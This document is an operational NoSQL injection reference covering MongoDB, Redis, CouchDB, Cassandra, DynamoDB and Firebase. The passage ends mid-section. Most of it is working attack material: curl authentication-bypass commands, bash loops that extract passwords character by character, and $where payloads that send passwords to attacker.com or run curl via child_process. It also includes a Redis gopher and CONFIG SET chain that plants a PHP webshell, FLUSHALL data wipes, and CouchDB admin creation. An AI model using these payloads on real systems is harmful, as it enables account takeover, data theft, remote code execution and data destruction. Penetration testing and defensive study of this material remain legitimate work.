A complete operational reference for NoSQL Injection covering MongoDB, Redis, CouchDB, Cassandra, DynamoDB, and Firebase. Covers detection, operator injection, authentication bypass, blind NoSQLi, JavaScript injection ($where / mapReduce), array operator abuse, aggregation pipeline injection, OOB exfiltration, HTTP parameter pollution, NoSQLMap, WAF bypass, and remediation. Mapped to MITRE ATT&CK T1190 / T1059.
1. Core Concepts & Injection Types
NOSQL INJECTION TAXONOMY:
NOSQL INJECTION
├── OPERATOR INJECTION (most common — MongoDB)
│ ├── Inject MongoDB query operators ($gt, $ne, $regex, $where, etc.)
│ ├── Manipulate query logic without SQL syntax
│ └── Works via JSON body, GET params, HTTP parameter pollution
│
├── JAVASCRIPT INJECTION
│ ├── $where clause — server-side JS execution inside MongoDB query
│ ├── mapReduce — JS functions executed on the DB server
│ └── Blind: sleep() for time-based, OOB for DNS/HTTP exfiltration
│
├── AUTHENTICATION BYPASS
│ ├── $ne (not-equal) → bypass password check
│ ├── $gt / $lt / $gte / $lte → compare instead of match
│ └── $regex → match any non-empty string
│
├── BLIND NOSQLI
│ ├── Boolean-based — true/false response difference
│ ├── Time-based — sleep() / tautology loops
│ └── Out-of-Band — DNS/HTTP callback from $where
│
├── STORED / SECOND-ORDER
│ └── Payload stored in NoSQL DB, triggers injection when read back
│
└── CQL / NOSQL LANGUAGE INJECTION
├── Cassandra CQL — similar to SQL injection via CQL syntax
├── Redis RESP — command injection via protocol manipulation
└── CouchDB — HTTP API manipulation, view injection
Key Terms:
- Document Store — NoSQL DB that stores JSON/BSON documents (MongoDB, CouchDB, Firestore). Queries operate on field-value pairs, not SQL tables.
- Query Operator — MongoDB syntax like $gt, $ne, $regex, $where — injected when user input is embedded directly into a query object.
- BSON — Binary JSON — MongoDB's wire format. Operators are valid BSON keys; injecting {"$ne": null} as a field value changes query semantics.
- $where — MongoDB operator that evaluates a JavaScript expression server-side. Extremely dangerous — allows JS execution, sleep(), and OOB callbacks.
- HTTP Parameter Pollution (HPP) — sending ?user=a&user[$ne]=b causes some frameworks to parse user as {"$ne": "b"} — a MongoDB operator.
- Tautology — a condition always true: {"$gt": ""} matches any non-empty string; used to bypass authentication.
- SSJI — Server-Side JavaScript Injection — JS code execution via MongoDB $where or mapReduce.
- OOB — Out-of-Band — exfiltrating data via DNS or HTTP callbacks from JS running inside $where.
Why It Happens:
// Node.js / Express + MongoDB — VULNERABLE:
// User input embedded directly into query object:
app.post('/login', async (req, res) => {
const user = await db.collection('users').findOne({
username: req.body.username, // user controls this
password: req.body.password // and this
});
});
// Attacker sends: {"username": "admin", "password": {"$ne": null}}
// Query becomes: {username: "admin", password: {$ne: null}} → BYPASSED
// SAFE — validate type before passing to query:
app.post('/login', async (req, res) => {
const { username, password } = req.body;
if (typeof username !== 'string' || typeof password !== 'string') {
return res.status(400).json({ error: 'Invalid input' });
}
const user = await db.collection('users').findOne({ username, password });
});
// PHP + MongoDB — VULNERABLE:
$collection->find([
'username' => $_POST['username'],
'password' => $_POST['password']
]);
// POST: username=admin&password[$ne]=x → operator injected
// SAFE:
$username = (string) $_POST['username'];
$password = (string) $_POST['password'];
$collection->find(['username' => $username, 'password' => $password]);
NoSQL vs SQL Injection:
- SQLi: breaks SQL syntax with quotes, comments, UNION.
- NoSQLi: injects query operator objects ({"$ne": null}) or JS ($where: "1==1").
- NoSQLi doesn't need quotes — works through JSON object structure.
- Both can lead to auth bypass, data exfiltration, and sometimes RCE.
2. Detection & Fingerprinting
2.1 Common Injection Points
→ JSON POST body: {"username":"admin","password":"x"}
→ GET parameters: ?search=admin&filter=active
→ HTTP headers: X-User-ID, Authorization Bearer payload
→ Cookie values: session=eyJ..., user=admin
→ URL path segments: /api/users/PAYLOAD/profile
→ GraphQL variables: {"query":"...", "variables":{"id":"PAYLOAD"}}
→ URL-encoded POST: username=admin&password[$ne]=x
→ REST API filters: ?filter[username]=admin&filter[password][$ne]=x
→ XML body (rare): <username>admin</username><password>{"$ne":""}</password>
2.2 Initial Probe — Break the Query
# Inject special characters and observe response change:
# Single quote — breaks some NoSQL query parsers:
' " \ ; { } [ ] : , $
# JSON syntax break:
{"username": "admin'"} # malformed JSON field
{"username": {"$gt": ""}} # operator injection
# URL-encoded GET parameter probes:
?username=admin'
?username=admin"
?username={"$gt":""}
?username[$gt]= # HTTP parameter pollution → MongoDB operator
?username[$ne]=x
2.3 Operator Injection Probes
# Via JSON body (Content-Type: application/json):
{"username": "admin", "password": {"$gt": ""}} # gt: greater than empty string
{"username": "admin", "password": {"$ne": null}} # ne: not null
{"username": "admin", "password": {"$ne": "x"}} # ne: not "x"
{"username": "admin", "password": {"$regex": ".*"}} # regex: match anything
{"username": {"$ne": null}, "password": {"$ne": null}} # both fields bypassed
# Via URL-encoded POST (application/x-www-form-urlencoded):
username=admin&password[$gt]=
username=admin&password[$ne]=x
username=admin&password[$regex]=.*
username[$ne]=x&password[$ne]=x
# Via GET parameters:
?username=admin&password[$ne]=x
?search[$regex]=.*
?id[$gt]=0
2.4 Error-Based Fingerprinting
# Inject malformed query to trigger error messages:
{"username": {"$invalidop": "x"}}
{"$where": "sleep(1000)"}
{"username": {"$regex": "["}} # malformed regex
# MongoDB error signatures:
# "unknown operator: $invalidop" → MongoDB
# "MongoServerError" → MongoDB driver
# "BSONTypeError" → MongoDB (BSON type mismatch)
# "$where is not allowed" → MongoDB with JS disabled
# "Unrecognized pipeline stage name" → MongoDB aggregation
# Redis error signatures:
# "-ERR unknown command" → Redis
# "-WRONGTYPE Operation against a key" → Redis
# CouchDB error signatures:
# {"error":"bad_request","reason":"..."} → CouchDB HTTP API
# "compilation_error" → CouchDB view/JS error
# Cassandra error signatures:
# "SyntaxException" → Cassandra CQL
# "InvalidQueryException" → Cassandra
# Generic NoSQL indicator:
# Response changes between {"$ne":"x"} and {"$ne":"CORRECTVALUE"}
# → Boolean-based NoSQLi confirmed
2.5 Confirm Boolean-Based NoSQLi
# Send TRUE condition — should return normal/success response:
{"username": "admin", "password": {"$ne": "wrongvalue12345"}}
# → Login succeeds / data returned
# Send FALSE condition — should return empty/error:
{"username": "admin", "password": {"$ne": "admin"}} # only fails if password IS "admin"
# → Login fails
# More reliable TRUE/FALSE pair:
{"username": "admin", "password": {"$gt": ""}} # TRUE — greater than empty string
{"username": "admin", "password": {"$lt": ""}} # FALSE — less than empty string (nothing is)
3. Database Identification Decision Tree
NoSQL injection suspected?
│
├── Inject {"$ne": null} into a field value (JSON body or HPP)
│ ├── Response changes (auth bypassed / more results) → MONGODB (or compatible)
│ └── No change → try other databases
│
├── Try GET parameter pollution: ?field[$ne]=x
│ ├── Works → MONGODB via Express/PHP with qs parser
│ └── No effect → framework doesn't parse nested params
│
├── Try $where JS:
│ {"$where": "sleep(1000)"}
│ ├── Response delayed ~1 second → MONGODB with JS enabled
│ └── Error "not allowed" → MongoDB, JS disabled (--noscripting)
│ └── No effect → not MongoDB $where
│
├── Send HTTP request with Redis RESP protocol chars:
│ *1\r\n$4\r\nPING\r\n
│ ├── +PONG response → REDIS
│ └── No effect → not Redis RESP injection
│
├── Target CouchDB HTTP API:
│ GET /_all_dbs HTTP/1.1
│ ├── JSON array of database names → COUCHDB
│ └── 404 / HTML → not CouchDB
│
├── Inject CQL into Cassandra endpoint:
│ ' OR '1'='1
│ ├── CQL SyntaxException in error → CASSANDRA (CQL)
│ └── No effect → not Cassandra CQL
│
└── Check Firebase / Firestore URL patterns:
https://PROJECT.firebaseio.com/.json
├── Returns JSON data → FIREBASE RTDB (misconfigured)
└── 401 → Firebase with rules (test rule bypass)
Quick DB Identifier Summary:
| Indicator | Database |
|---|---|
{"$ne": null} changes response |
MongoDB |
$where: "sleep(1)" delays response |
MongoDB (JS enabled) |
-ERR / +PONG in response |
Redis |
{"error":"bad_request"} JSON errors |
CouchDB |
SyntaxException / InvalidQueryException |
Cassandra |
firebaseio.com / appspot.com URLs |
Firebase |
dynamodb.amazonaws.com errors |
DynamoDB |
4. MongoDB — Operator Injection
4.1 Comparison Operators
// $ne — Not Equal (most common bypass)
{"password": {"$ne": "wrongvalue"}} // matches any password ≠ "wrongvalue"
{"password": {"$ne": null}} // matches any non-null password
{"password": {"$ne": ""}} // matches any non-empty password
// $gt — Greater Than
{"password": {"$gt": ""}} // matches any password > "" (all strings)
{"age": {"$gt": 0}} // matches any positive age
{"_id": {"$gt": ""}} // matches any non-empty _id
// $gte — Greater Than or Equal
{"password": {"$gte": ""}} // matches any password ≥ ""
// $lt — Less Than
{"age": {"$lt": 9999}} // matches anything less than 9999
// $in — Match any value in array
{"username": {"$in": ["admin", "administrator", "root", "superuser"]}}
{"role": {"$in": ["admin", "superadmin", "root"]}}
// $nin — Not in array
{"username": {"$nin": ["guest", "anonymous"]}}
// $exists — Field exists
{"password": {"$exists": true}} // matches docs where password field exists
{"admin": {"$exists": true}} // check if admin field is set
// $type — Field type
{"password": {"$type": 2}} // type 2 = string; matches string passwords
{"_id": {"$type": 7}} // type 7 = ObjectId
4.2 Evaluation Operators
// $regex — Regular Expression (no JS engine needed)
{"password": {"$regex": ".*"}} // matches any string
{"username": {"$regex": "^admin"}} // starts with "admin"
{"email": {"$regex": "@corp\\.com$"}} // ends with @corp.com
{"password": {"$regex": "^a"}} // password starts with "a" (blind char extraction)
{"password": {"$regex": "^ad"}} // password starts with "ad"
{"password": {"$regex": "^admin$"}} // exact match
// Case-insensitive regex:
{"username": {"$regex": "admin", "$options": "i"}}
// $text — Full-text search (requires text index)
{"$text": {"$search": "admin"}}
// $mod — Modulo
{"age": {"$mod": [2, 0]}} // age is even
4.3 Array Operators
// $elemMatch — at least one array element matches
{"roles": {"$elemMatch": {"$eq": "admin"}}}
{"permissions": {"$elemMatch": {"$gt": 5}}}
// $all — array contains all specified values
{"roles": {"$all": ["admin", "superuser"]}}
// $size — array has specific length
{"roles": {"$size": 1}} // exactly one role
4.4 Logical Operators
// $or — match any condition
{"$or": [{"username": "admin"}, {"username": "administrator"}]}
{"$or": [{"role": "admin"}, {"isAdmin": true}]}
// $and — all conditions must match
{"$and": [{"username": "admin"}, {"active": true}]}
// $nor — none of the conditions match (tautology abuse)
{"$nor": [{"password": "wrongvalue"}]} // matches anything where password ≠ "wrongvalue"
// $not — negate operator
{"password": {"$not": {"$eq": "wrongpassword"}}}
// Tautology with $or (always true):
{"$or": [{"username": "admin"}, {"username": {"$ne": null}}]}
// Second condition matches everything → returns all users
5. MongoDB — Authentication Bypass
5.1 Via JSON Body (application/json)
# Bypass login — password not-equal to any wrong value:
curl -s -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$ne": "x"}}'
# Bypass with $gt (password > empty string = any non-empty string):
curl -s -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$gt": ""}}'
# Bypass with $regex (match anything):
curl -s -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$regex": ".*"}}'
# Bypass both username AND password (get first user in collection):
curl -s -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$ne": null}, "password": {"$ne": null}}'
# Login as any admin:
curl -s -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$regex": "admin.*"}, "password": {"$ne": "x"}}'
5.2 Via HTTP Parameter Pollution (URL-encoded POST)
# When framework parses ?field[$op]=value as {field: {$op: value}}:
# (Express with qs, PHP, etc.)
curl -s -X POST http://target.com/login \
-d "username=admin&password[$ne]=x"
curl -s -X POST http://target.com/login \
-d "username=admin&password[$gt]="
curl -s -X POST http://target.com/login \
-d "username=admin&password[$regex]=.*"
# Both fields:
curl -s -X POST http://target.com/login \
-d "username[$ne]=x&password[$ne]=x"
5.3 Via GET Parameters
# REST APIs that use GET params for filters:
curl -s "http://target.com/api/users?username=admin&password[\$ne]=x"
curl -s "http://target.com/api/users?username[\$gt]=&password[\$gt]="
curl -s "http://target.com/search?q[\$ne]=null"
curl -s "http://target.com/api/items?price[\$gt]=0"
5.4 Common Authentication Query Patterns
// What the vulnerable server-side query looks like:
// Pattern 1 — Direct field match:
db.users.findOne({ username: input.username, password: input.password })
// Bypass: password = {"$ne": "x"}
// Pattern 2 — With MD5/SHA hash:
db.users.findOne({ username: input.username, password: md5(input.password) })
// Bypass: username = {"$ne": null} — if findOne returns first user, hash check irrelevant
// Pattern 3 — Active user check:
db.users.findOne({ username: input.username, password: input.password, active: true })
// Bypass: {"username":"admin","password":{"$ne":"x"},"active":{"$ne":false}}
// Pattern 4 — Token-based lookup:
db.sessions.findOne({ token: req.headers['x-token'] })
// Bypass via header: X-Token: {"$ne": null} → returns first session
6. MongoDB — JavaScript Injection ($where / mapReduce)
6.1 $where Operator
$where evaluates a JavaScript string or function on the server for every document. Requires --noscripting to be OFF (default).
// Basic $where tautology (always true):
{"$where": "1==1"}
{"$where": "true"}
{"$where": "this.username == 'admin' || 1==1"}
// Bypass login via $where:
curl -s -X POST http://target.com/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "$where": "1==1"}'
// $where with field condition:
{"$where": "this.password.length > 0"} // matches any user with a password
{"$where": "this.role == 'admin'"} // matches admin role users
// $where JS — enumerate collections (blind):
{"$where": "function() { return this.username.match(/^a/); }"}
// Returns documents where username starts with "a"
6.2 $where — Time-Based Blind
# Confirm JS execution via sleep (MongoDB has no sleep() — use a compute loop):
curl -s -X POST http://target.com/api/users \
-H "Content-Type: application/json" \
-d '{"$where": "function() { var d = new Date(); var b = new Date(); while(b-d<5000){b=new Date();} return true; }"}'
# Response delayed ~5 seconds → JS execution confirmed
# Shorter form using a tight loop:
{"$where": "sleep(5000)"} # sleep() doesn't exist in MongoDB JS
# Use: var t=new Date(); while(new Date()-t<5000){}; return true;
# Conditional time delay (blind data extraction):
# If first char of admin password == 'a', sleep 5 seconds:
{
"$where": "function() { if(this.username=='admin' && this.password[0]=='a'){ var d=new Date(); while(new Date()-d<5000){}; } return true; }"
}
6.3 $where — OOB Exfiltration
// Exfiltrate via DNS (if server has outbound DNS):
{
"$where": "function() { var http = new XMLHttpRequest(); http.open('GET','http://'+this.password+'.attacker.com',false); http.send(); return true; }"
}
// Via fetch (Node.js MongoDB contexts):
{
"$where": "function() { require('child_process').exec('curl http://ATTACKER.COM/?d='+this.password); return true; }"
}
// Exfiltrate via HTTP GET to Burp Collaborator:
{
"$where": "function() { var x=new XMLHttpRequest(); x.open('GET','http://COLLABORATOR.oastify.com/?data='+escape(this.password),false); x.send(); return true; }"
}
6.4 mapReduce Injection
// mapReduce executes JS map and reduce functions — less common but powerful:
db.runCommand({
mapReduce: "users",
map: function() { emit(this.username, this.password); },
reduce: function(k, v) { return v; },
out: { inline: 1 }
});
// Via HTTP API (if mapReduce endpoint exposed):
POST /api/mapreduce
{
"map": "function() { emit(this.username, this.password); }",
"reduce": "function(k,v) { return v; }"
}
7. MongoDB — Data Extraction & Enumeration
7.1 Enumerate Collections (via $where)
// Check if a collection exists (JS — requires $where):
{"$where": "function() { return db.getCollectionNames().indexOf('admin_users') >= 0; }"}
{"$where": "function() { return db.getCollectionNames().indexOf('secrets') >= 0; }"}
// List collection names length:
{"$where": "function() { return db.getCollectionNames().length > 5; }"}
7.2 Extract Data via $regex (Blind Character-by-Character)
# Enumerate password character by character using $regex:
# Does admin's password start with 'a'?
{"username": "admin", "password": {"$regex": "^a"}} # → success/fail
# Does it start with 'ad'?
{"username": "admin", "password": {"$regex": "^ad"}}
# Automate:
for char in {a..z} {A..Z} {0..9}; do
RESULT=$(curl -s -X POST http://target.com/login \
-H "Content-Type: application/json" \
-d "{\"username\":\"admin\",\"password\":{\"\$regex\":\"^$KNOWN$char\"}}")
if echo "$RESULT" | grep -q "success\|token\|welcome"; then
KNOWN="${KNOWN}${char}"
echo "Found: $KNOWN"
fi
done
7.3 Extract Field Names (Blind)
# Does the 'password' field exist?
{"username": "admin", "password": {"$exists": true}}
# Does field 'secret' exist?
{"username": "admin", "secret": {"$exists": true}}
# Check field type:
{"username": "admin", "password": {"$type": 2}} # type 2 = string
# Enumerate unknown field names using $where:
{"$where": "function() { return Object.keys(this).indexOf('apiKey') >= 0; }"}
{"$where": "function() { return Object.keys(this).length > 3; }"}
{"$where": "function() { return Object.keys(this).join(',').length > 20; }"}
7.4 Extract All Documents
// $ne tautology — return ALL documents in a collection:
// Instead of findOne, findAll via bypassed filter:
{"username": {"$ne": null}} // all users
{"_id": {"$ne": null}} // all docs (all _ids are non-null)
{"$where": "true"} // all docs via JS tautology
{"$or": [{"username": "admin"}, {"_id": {"$ne": null}}]} // OR with always-true condition
7.5 MongoDB Internal Collections
// If $where or mapReduce is available, access admin collections:
db.adminCommand({ listDatabases: 1 }) // list all databases (requires admin)
db.getCollectionNames() // list collections in current DB
db.users.find({}) // dump users collection
db.system.users.find({}) // MongoDB auth users
// Via $where (blind):
{"$where": "function() { return db.adminCommand({listDatabases:1}).databases.length > 2; }"}
8. MongoDB — Blind NoSQLi
8.1 Boolean-Based Blind
# Identify a TRUE vs FALSE response difference first:
# TRUE (login success / non-empty result):
curl -s -X POST http://target.com/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$ne": "WRONGVALUE12345"}}'
# FALSE (login failure / empty result):
curl -s -X POST http://target.com/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$ne": "admin"}}'
# (only fails if actual password IS "admin")
# Better TRUE/FALSE pair:
# TRUE:
{"username": "admin", "password": {"$regex": "^.{1,}"}} # has at least 1 char
# FALSE:
{"username": "admin", "password": {"$regex": "^$"}} # empty string
8.2 Extract Password Length (Blind)
# Binary search on password length:
{"username": "admin", "password": {"$regex": "^.{8}$"}} # exactly 8 chars?
{"username": "admin", "password": {"$regex": "^.{1,8}$"}} # 1-8 chars?
{"username": "admin", "password": {"$regex": "^.{9,}$"}} # 9+ chars?
# Script — binary search for password length:
LOW=1; HIGH=50
while [ $LOW -lt $HIGH ]; do
MID=$(( (LOW + HIGH) / 2 ))
RESULT=$(curl -s -X POST http://target.com/login \
-H "Content-Type: application/json" \
-d "{\"username\":\"admin\",\"password\":{\"\$regex\":\"^.{$MID,}\$\"}}")
if echo "$RESULT" | grep -q "success"; then
LOW=$(( MID + 1 ))
else
HIGH=$MID
fi
done
echo "Password length: $LOW"
8.3 Extract Password Character by Character (Blind)
# Build password one character at a time using $regex:
KNOWN=""
CHARS='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*'
for i in $(seq 1 20); do
for char in $(echo $CHARS | fold -w1); do
ESCAPED=$(printf '%s' "$char" | sed 's/[.^$*+?{}[\]|()]/\\&/g')
PAYLOAD="{\"username\":\"admin\",\"password\":{\"\$regex\":\"^${KNOWN}${ESCAPED}\"}}"
RESULT=$(curl -s -X POST http://target.com/login \
-H "Content-Type: application/json" \
-d "$PAYLOAD")
if echo "$RESULT" | grep -q "success\|token\|200"; then
KNOWN="${KNOWN}${char}"
echo "Position $i: $KNOWN"
break
fi
done
done
echo "Extracted password: $KNOWN"
8.4 Time-Based Blind (via $where)
# Conditional time delay — if condition true, sleep 5 seconds:
# Does admin password start with 'a'?
curl -s -X POST http://target.com/api/find \
-H "Content-Type: application/json" \
-d '{
"$where": "function() {
if(this.username==\"admin\" && this.password[0]==\"a\") {
var d=new Date(); while(new Date()-d<5000){}
}
return true;
}"
}'
# Measure response time — > 5s → condition is TRUE
# Template for character-by-character extraction:
function nosql_time_extract() {
local POS=$1 CHAR=$2
START=$(date +%s%3N)
curl -s -X POST http://target.com/api/find \
-H "Content-Type: application/json" \
-d "{
\"\$where\": \"function() {
if(this.username=='admin' && this.password[$POS]=='$CHAR') {
var d=new Date(); while(new Date()-d<3000){}
}
return true;
}\"
}" > /dev/null
END=$(date +%s%3N)
echo $(( END - START ))
}
# Call: if response > 3000ms, char is found
9. MongoDB — Aggregation Pipeline Injection
9.1 $lookup Injection (MongoDB JOIN)
// If user-controlled input goes into $lookup fields:
// Vulnerable aggregation:
db.orders.aggregate([
{ "$lookup": {
"from": userInput, // attacker controls collection name
"localField": "userId",
"foreignField": "_id",
"as": "userInfo"
}}
]);
// Inject: from = "admin_users" → leaks admin collection
// Inject: from = "secrets" → leaks secrets collection
9.2 $match Injection
// Vulnerable: user input goes into $match stage:
db.products.aggregate([
{ "$match": { "category": userInput } }
]);
// Inject: {"$ne": null} → matches all documents
// Inject operator object as category value → filter bypass
9.3 $group / $project Injection
// If field names are user-controlled:
db.users.aggregate([
{ "$project": { [userFieldName]: 1 } } // attacker controls projected field
]);
// Inject: "password" → leaks password field
// Inject: "__proto__" → prototype pollution attempt
10. Redis Injection
10.1 Redis Basics & Injection Context
Redis is a key-value store. Injection occurs when user input is embedded in Redis commands without sanitization. Redis uses a text protocol (RESP).
Attack surfaces:
→ Web app builds Redis commands from user input
→ SSRF to Redis port (6379) — send RESP commands via HTTP redirect
→ Redis exposed without authentication (common misconfiguration)
→ Lua scripting injection (EVAL command)
10.2 SSRF to Redis (Gopher Protocol)
# When app follows redirects to internal hosts:
# Redis RESP protocol over gopher:// URL:
# Payload: SET key value
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0AFLUSHALL%0D%0A
# Common Redis commands via gopher:
# FLUSHALL — wipe all keys:
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0AFLUSHALL%0D%0A
# SET a key:
gopher://127.0.0.1:6379/_%2A3%0D%0A%243%0D%0ASET%0D%0A%245%0D%0Ahello%0D%0A%245%0D%0Aworld%0D%0A
# Write webshell via Redis CONFIG SET:
# Set dir to web root:
gopher://127.0.0.1:6379/_*3%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0ASET%0d%0a$3%0d%0adir%0d%0a%0d%0a*3%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0ASET%0d%0a$10%0d%0Adbfilename%0d%0a$9%0d%0Ashell.php%0d%0a
# Build full Redis RCE payload:
redis-cli -h target -p 6379
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET payload "<?php system(\$_GET['cmd']); ?>"
BGSAVE
# → Writes shell.php to web root
10.3 Redis Command Injection
# If user input is appended to Redis command string:
# VULNERABLE (Node.js):
client.get("user:" + userInput, callback);
# Inject: "admin\r\nFLUSHALL\r\n" → CRLF injects new command
# CRLF injection into Redis:
GET /cache?key=hello%0d%0aFLUSHALL%0d%0a
# If app uses key in raw Redis command → FLUSHALL executes
# Via newline in parameter:
?key=hello\r\nSET injected value\r\n
10.4 Redis Lua Injection (EVAL)
# If user input goes into Lua script:
EVAL "return redis.call('get', KEYS[1])" 1 userInput
# Inject Lua code if input is in script string (rare):
EVAL "return redis.call('get', 'key') .. userPayload" 0
# Inject: "') redis.call('SET','hacked','1') redis.call('get','x"
10.5 Redis Unauthenticated Access
# Check for unauthenticated Redis:
redis-cli -h target.com -p 6379 ping
# +PONG → unauthenticated access
# Common Redis operations without auth:
redis-cli -h target.com INFO server # server info
redis-cli -h target.com KEYS '*' # list all keys
redis-cli -h target.com GET <key> # read key
redis-cli -h target.com CONFIG GET dir # config values
redis-cli -h target.com CONFIG GET requirepass # check if password set
# Dump all keys and values:
redis-cli -h target.com --scan | while read key; do
echo "$key: $(redis-cli -h target.com GET "$key")"
done
11. CouchDB Injection
11.1 CouchDB HTTP API Abuse
CouchDB exposes a REST HTTP API. Misconfigured instances allow unauthenticated access.
# Check unauthenticated access:
curl -s http://target.com:5984/ # server info
curl -s http://target.com:5984/_all_dbs # list all databases
curl -s http://target.com:5984/_users/_all_docs # list all users
curl -s http://target.com:5984/mydb/_all_docs # dump all documents
# Read a specific document:
curl -s http://target.com:5984/mydb/DOCID
# Admin panel (Fauxton):
http://target.com:5984/_utils/
11.2 CouchDB View Injection
// CouchDB "views" use JavaScript map/reduce functions.
// If user input goes into a view:
// Vulnerable view creation:
POST /_design/myview
{
"views": {
"all": {
"map": "function(doc) { emit(doc." + userField + ", doc); }"
}
}
}
// Inject: userField = "username) { emit(doc); } // "
// Results in: function(doc) { emit(doc.username) { emit(doc); } // , doc); }
// The injected emit(doc) leaks all documents
11.3 CouchDB Admin Takeover
# Create admin user on unauthenticated CouchDB (< 3.x):
curl -X PUT http://target.com:5984/_node/nonode@nohost/_config/admins/attacker \
-d '"password123"'
# Or via /_config endpoint:
curl -X PUT http://target.com:5984/_config/admins/attacker \
-d '"password123"'
# Then access admin panel:
curl -s -u attacker:password123 http://target.com:5984/_all_dbs
12. Cassandra Injection (CQL)
12.1 CQL Injection Basics
Cassandra Query Language (CQL) is SQL-like. Injection occurs when user input is concatenated into CQL queries without prepared statements.
-- VULNERABLE (string concatenation in CQL):
SELECT * FROM users WHERE username = 'USERINPUT' AND password = 'PASSINPUT';
-- Bypass with CQL comment/tautology:
-- Input: admin' AND '1'='1
SELECT * FROM users WHERE username = 'admin' AND '1'='1' AND password = 'x';
-- Input: admin'--
-- CQL has no -- comments in Cassandra — use other techniques
12.2 CQL Injection Payloads
-- Auth bypass (tautology):
' OR '1'='1
' OR 1=1
admin' ALLOW FILTERING--
-- Extract data — CQL UNION doesn't exist, use OR to widen results:
' OR username != ''
-- Cassandra-specific: ALLOW FILTERING to bypass index restrictions:
' OR '1'='1' ALLOW FILTERING--
-- Check Cassandra version:
SELECT release_version FROM system.local;
-- List keyspaces (databases):
SELECT keyspace_name FROM system_schema.keyspaces;
-- List tables in keyspace:
SELECT table_name FROM system_schema.tables WHERE keyspace_name='mykeyspace';
-- List columns:
SELECT column_name, type FROM system_schema.columns
WHERE keyspace_name='mykeyspace' AND table_name='users';
12.3 CQL Blind Injection
-- Cassandra has no SLEEP() — use heavy computation for time-based:
-- Or use boolean response differences:
-- Check if admin exists:
' AND username='admin' AND '1'='1
-- Different response length → admin exists
-- Extract password length (if error-based output):
' AND LENGTH(password)=8 AND '1'='1
13. DynamoDB Injection
13.1 DynamoDB Expression Injection
AWS DynamoDB uses "expression" strings for queries. Injection occurs when user input is interpolated into FilterExpression, KeyConditionExpression, or ProjectionExpression strings.
# VULNERABLE — user input in FilterExpression:
response = table.scan(
FilterExpression=f"username = :u AND {userInput}"
)
# Inject: "OR :u = :u" → condition always true → returns all records
# FilterExpression becomes: "username = :u AND OR :u = :u"
# Inject: "attribute_exists(password)" → leaks docs with password field
13.2 DynamoDB Operator Injection
# DynamoDB expression attributes — inject via :value parameters:
# VULNERABLE:
response = table.query(
KeyConditionExpression=Key('username').eq(user_input)
)
# If user_input is a dict (JSON body), inject comparison operators:
# DynamoDB SDK: passing {"S": "admin"} as a string value type
# PartiQL (SQL-like DynamoDB query — injection like SQL):
# VULNERABLE PartiQL:
statement = f"SELECT * FROM Users WHERE username = '{userinput}'"
client.execute_statement(Statement=statement)
# Inject: ' OR '1'='1
# Statement: SELECT * FROM Users WHERE username = '' OR '1'='1'
# → Returns all users
13.3 DynamoDB PartiQL Injection
# PartiQL supports SQL-like syntax:
# Auth bypass:
' OR '1'='1
' OR username > ''
' OR attribute_exists(username)--
# Extract data:
'; SELECT * FROM Users-- -
'; SELECT * FROM Secrets-- -
# Test via AWS CLI:
aws dynamodb execute-statement \
--statement "SELECT * FROM Users WHERE username = 'admin' OR '1'='1'"
14. Firebase / Firestore Injection
14.1 Firebase Realtime Database Misconfiguration
# Firebase RTDB is exposed as a REST API at:
# https://PROJECT-ID.firebaseio.com/
# Check for public read (unauthenticated):
curl -s "https://PROJECT.firebaseio.com/.json" # dump root
curl -s "https://PROJECT.firebaseio.com/users.json" # dump users node
curl -s "https://PROJECT.firebaseio.com/secrets.json" # dump secrets node
# With shallow=true for large databases:
curl -s "https://PROJECT.firebaseio.com/.json?shallow=true"
# Public write check:
curl -s -X PUT "https://PROJECT.firebaseio.com/test.json" \
-d '"hacked"'
# Enumerate child nodes via REST:
curl -s "https://PROJECT.firebaseio.com/users.json?shallow=true"
14.2 Firebase Security Rule Bypass
# Common weak rule: allow read if authenticated (but token is reusable):
# Rules: { "rules": { ".read": "auth != null" } }
# Create a Firebase account → get ID token → access all data:
curl -s -X POST \
"https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=API_KEY" \
-H "Content-Type: application/json" \
-d '{"returnSecureToken": true}'
# → Returns idToken
curl -s "https://PROJECT.firebaseio.com/users.json?auth=ID_TOKEN"
# Overly permissive rules to test for:
# ".read": true → anyone can read
# ".write": true → anyone can write
# ".read": "auth != null" → any authenticated user (including self-registered)
# ".read": "auth.uid != null" → same as above
14.3 Firestore Injection
// Firestore uses structured queries — injection via operator objects:
// VULNERABLE (JavaScript):
const snapshot = await db.collection('users')
.where('username', '==', req.body.username)
.where('password', '==', req.body.password)
.get();
// If req.body.password is an object: {"!=": ""} → Firestore operator?
// Firestore doesn't support $ne like MongoDB — but type confusion can occur
// Firestore REST API query injection:
POST https://firestore.googleapis.com/v1/projects/PROJECT/databases/(default)/documents:runQuery
{
"structuredQuery": {
"from": [{"collectionId": "users"}],
"where": {
"fieldFilter": {
"field": {"fieldPath": "role"},
"op": "EQUAL",
"value": {"stringValue": "admin"}
}
}
}
}
// If query structure is built from user input → inject different ops/values
15. HTTP Parameter Pollution & Format Abuse
15.1 HTTP Parameter Pollution (HPP) — MongoDB Operator Injection
Different frameworks parse duplicate/nested parameters differently:
# Express (Node.js) with qs library parses:
# ?filter[password][$ne]=x → { filter: { password: { $ne: "x" } } }
# This directly creates a MongoDB $ne operator
# PHP parses:
# password[$ne]=x → $_POST['password'] = ['$ne' => 'x']
# Which maps directly to MongoDB operator when passed to query
# Common HPP payloads:
?username=admin&password[$ne]=x
?username=admin&password[$gt]=
?username=admin&password[$regex]=.*
?username[$ne]=x&password[$ne]=x
?filter[username][$regex]=admin.*
?search[$ne]=null
# Array notation:
